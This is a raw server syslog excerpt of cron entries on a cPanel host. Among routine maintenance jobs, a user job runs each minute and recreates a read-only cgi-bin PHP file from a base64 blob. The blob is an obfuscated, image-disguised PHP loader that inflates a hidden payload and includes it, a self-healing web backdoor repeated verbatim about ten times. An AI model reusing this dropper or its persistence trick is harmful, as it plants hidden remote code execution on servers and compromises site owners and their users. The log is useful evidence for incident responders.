Nov 14 12:10:01 server CROND[15919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:10:01 server CROND[15918]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 12:10:01 server CROND[15920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:11:01 server CROND[16715]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:12:01 server CROND[17331]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 12:12:01 server CROND[17332]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:13:01 server CROND[17551]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:14:01 server CROND[18448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:15:01 server CROND[19336]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 12:15:01 server CROND[19337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:15:01 server CROND[19338]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:15:01 server CROND[19339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:15:01 server CROND[19340]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:16:02 server CROND[20336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:17:01 server CROND[21189]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:18:01 server CROND[22045]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:19:01 server CROND[22992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:20:01 server CROND[23866]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 12:20:01 server CROND[23865]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 12:20:01 server CROND[23868]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 12:20:01 server CROND[23869]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:20:01 server CROND[23867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:21:01 server CROND[24799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:22:01 server CROND[25593]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
